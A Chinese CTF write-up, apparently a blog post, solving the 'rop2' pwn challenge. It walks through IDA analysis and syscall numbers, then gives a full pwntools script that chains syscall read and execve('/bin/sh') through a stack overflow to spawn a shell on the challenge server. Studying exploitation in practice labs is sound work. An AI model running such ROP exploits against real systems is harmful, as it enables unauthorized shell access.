rop2(syscall函数的系统调用)

check一下,只开了NX
image.png

拖进ida,发现一大串
image.png

image.png

image.png

v4至v15仿佛是提示词,可以看出v4是提示字符串的开头,但因为IDA没有正确识别变量的类型,把提示字符串分成了v4~v15多个变量,v4的地址为bp-0x33,v15为bp-0x9,因此字符串长度为0x33 - 0x9 = 42,y一下v4,将数据类型改为char v4[42]。


image.png

发现了syscall函数
image.png

image.png

知识补充:
syscall是可以实现系统调用的函数,4为write函数的系统调用号,3为read函数的系统调用号,如syscall(4, 1, &v4, 42)即相当于write(1, &v4, 42),syscall(3, 0, &v1, 1024)即相当于read(0, &v1, 1024),syscall的第一个参数是系统函数的系统调用号,之后的参数依次为对应函数的参数,32位的系统调用号定义在/usr/include/x8664-linux-gnu/asm/unistd32.h中,可以看到execve的调用号为11,因此如果我们构造syscall(11, "/bin/sh", 0, 0)就相当于执行了execve("/bin/sh", 0, 0)即可get shell。
注意:
传送binsh时只能用send,不能用sendline

脚本:

#-*-coding:utf-8-*-
from pwn import *
p = process('./rop2')
p = remote("hackme.inndy.tw","7703")
elf = ELF('./rop2')
bss_addr = elf.bss()
syscall = 0x08048320
overflow = 0x8048454
payload = 'a'*0x10
payload += p32(syscall) + p32(overflow) + p32(3) + p32(0) + p32(bss_addr) + p32(8)
p.sendline(payload)
p.send('/bin/sh\x00')
payload = 'a'*0x10
payload += p32(syscall) + p32(0) + p32(0xb) + p32(bss_addr) + p32(0) + p32(0)
p.sendline(payload)
p.interactive()
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • 红豆,又称海红豆,中医学认为,红豆气味甘、酸、平、无毒,归肺、心、脾经,有疏风清热、燥湿止痒、润肤养颜的功效。 内...
    食源阅读 319评论 0 1
  • 一声嘶鸣 一只鸟俯冲下来 睡在清晨的露珠的梦里 寻梦 我从嘴巴里吐出一片沙漠 鼓鼓腮帮扬起万丈黄沙 你在梦里驰骋 ...
    深目阅读 214评论 0 2
  • 人生就是一场修行。慢慢地把一切都看淡了。曾经的大喜大悲,思念亦或仇恨慢慢的都变淡了。谁也不欠你的,你也不欠谁的。不...
    清扬hq阅读 185评论 0 1
  • 早上好!静暖人生:每日一句正能量[玫瑰][玫瑰] (2018年3月7日 农历正月二十 星期三) 人重在善良,贵在德...
    侠姐27687阅读 307评论 0 2